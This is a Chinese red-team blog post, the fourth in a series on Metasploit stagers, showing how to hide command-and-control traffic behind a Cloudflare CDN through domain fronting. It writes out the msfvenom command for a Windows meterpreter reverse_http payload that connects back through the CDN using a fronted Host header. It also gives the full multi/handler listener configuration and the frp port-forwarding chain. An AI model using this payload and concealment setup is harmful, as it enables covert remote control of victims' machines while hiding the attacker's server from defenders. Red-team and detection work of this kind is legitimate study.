msf stagers開發不完全指北(四): msf 中使用域前置技術隱藏流量

msf 中使用域前置技術隱藏流量

前幾篇都是說了下如何采用不同的語言開發 reverse_tcp 第二階段,接下來將慢慢分析 reverse_http,這篇文章并不會圍繞 stagers 進行講解,這篇文章只是半埋上我之前挖的一個坑,關于域前置技術如何在 msf 中進行應用。

域前置技術介紹

域前置技術(Domain-Fronting)顧名思義,把域名放在前面,流量的前面,那么我們應該如何做到這件事情,這個一般就是利用各大 cdn 服務了。

cdn 技術我不用做過多介紹,相信大家給自己的網站上 cdn 都會上,簡略來說原理的話,在域名注冊商那里把 ns 記錄,也就是 dns 解析服務器指向到你選擇的 cdn 服務商,然后 cdn 就可以接管你的域名解析了,通過不同的緩存分流策略,把流量經過他的服務器后再轉發給我們自己,也就是 cdn 后面的真實ip我們是不容易找到的。

那么應用到 C2 上,我們 C2 服務器也可以掛在 cdn 后面,流量通過 cdn 轉發回來。

具體更為詳細的介紹可以參見 紅隊行動之魚叉攻擊-傾旋

基礎配置

首先不管怎樣你需要有一個服務器,以及一個加了 cdn 的域名執行你服務器

這里我假設我們持有的域名為 test.akkuman.com,域名配好 cdn 指向的服務器是 1.1.1.1

這里你是把服務器架在 msf 上面還是內網穿透打通端口,這個看自己喜好

我這里是 msf 位于其他地方 2.2.2.2,然后 2.2.2.2 的 5555 端口通過 frp 映射到 1.1.1.1 的 80 端口上。

5555 端口是我們待會 msf 監聽的端口,80 端口是因為訪問域名,http 協議,訪問80。

因為這些流量會通過 cdn 先轉發到我們主機上的 80 端口,然后 80 端口上的流量會通過 frp 處理后送到我們本機監聽的 5555 端口上。

生成 msf payload

基礎一些配置做好之后,我們可以生成 payload 了。

首先我們需要得到一個 cdn 的 ip,因為 cdn 是依靠 http header 中的 Host 頭進行流量轉發的,所以我們只需要 ping 一下我們加了 cdn 的域名即可獲得一個 ip,這里我是用的 cloudflare,獲得的一個 ip 為 172.67.207.124

msfvenom -p windows/meterpreter/reverse_http LHOST=172.67.207.124 LPORT=80 HttpHostHeader=test.akkuman.com -f exe -o ~/payload.exe

這里 LHOST 為我們獲取的 cdn ip,因為是 http 協議的 payload,訪問域名是訪問 80 端口,LPORT 我們設置為 80

HttpHostHeader 選項為這個生成的 payload 使用 http 協議回連到 cdn ip 時 http header 所使用的 Host 頭,還記得我們剛才說的 cdn 如何識別域名進行流量轉發嗎,這個就主要是為了 cdn 能夠把流量轉回到我們自己的服務器

創建監聽器

msf 在監聽中有一些配置需要說明一下

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf5 exploit(multi/handler) > set lhost 172.67.207.124
lhost => 172.67.207.124
msf5 exploit(multi/handler) > set lport 80
lport => 80
msf5 exploit(multi/handler) > set HttpHostHeader test.akkuman.com
HttpHostHeader => test.akkuman.com
msf5 exploit(multi/handler) > set OverrideRequestHost true
OverrideRequestHost => true
msf5 exploit(multi/handler) > set ReverseListenerBindAddress 127.0.0.1
ReverseListenerBindAddress => 127.0.0.1
msf5 exploit(multi/handler) > set ReverseListenerBindPort 5555
ReverseListenerBindPort => 5555
msf5 exploit(multi/handler) > run
  • 首先 lhost 為給 payload 返回第二階段載荷時填入的 ip 地址,即第二階段會回連到這個 ip

  • lport 為給 payload 返回第二階段載荷時填入的 port,即第二階段會回連到這個端口

  • HttpHostHeader 前面說過,是 payload 回連到這個 ip 和 port 時在 http header 中填入的 Host 頭

  • OverrideRequestHost 這個選項需要設置為 true,主要是因為 msf 的歷史原因,msf 默認是使用傳入請求 http header 中的 Host 字段來作為第二階段的配置,也就是第二階段會采用建立連接時傳入請求的 Host,這種默認行為在大多數請求下沒問題,具體可以自行測試,具體是需要 cdn 回連到我們真實 ip 時傳遞的域名是我們想要的,這個參數設置為 true 可以讓 msf 忽略傳入請求的 Host 頭,而使用我們在 HttpHostHeader 中設置的

  • ReverseListenerBindAddress 和 ReverseListenerBindPort 參數主要是因為我的環境問題,我是通過 frp 把 1.1.1.1:80 穿透到了本地 (2.2.2.2) 的 127.0.0.1:5555,如果你的 msf 直接在 1.1.1.1 上,那么 duck 不必這么做,直接監聽 80 就好

ReverseListenerBindAddress 這個參數其實設置不設置都沒關系,但是不設置的話會有個小報錯,

[-] Handler failed to bind to 172.67.207.124:80

這是因為 handler 無法將 cdn 的 ip 綁定到LHOST,因為這個 ip 在我們服務器上不存在,綁定失敗就會提示這個,然后繼續綁定 0.0.0.0。如果想要在界面上不顯示這個錯誤,需要設置 ReverseListenerBindAddress 為 0.0.0.0 或者 127.0.0.1 之類的

可以看到,當我們不設置 ReverseListenerBindAddress 和 ReverseListenerBindPort 時會出現上面的報錯 Handler failed to bind to 172.67.207.124:80

也就是 handler 在本地上是希望監聽 80 的,而 1.1.1.1:80 上面的流量是轉發到我們服務器 (2.2.2.2) 本機的 5555 端口上的。

所以我們的監聽程序實際上需要監聽在 5555 端口上,所以需要設置 ReverseListenerBindPort 參數

上面的 lhost 和 lport 其實主要是為了第二階段回送服務的。

實際效果

paylaod.exe <-> cdnip:80(Host: test.akkuman.com) <-> 1.1.1.1:80 <-> frp[1.1.1.1:7000<->2.2.2.2:隨機端口] <-> 127.0.0.1:5555

可以看到不管是請求第二階段還是后續的心跳包,都是有帶上 Host 頭,流經 cdn 服務器的,這樣我們就達到了隱藏自身的效果

那么 msf 會話這邊呢

可以看到,也是可以正常使用的

posted @ 2020-07-17 18:01  Akkuman  閱讀(83)  評論(0編輯  收藏
最新chease0ldman老人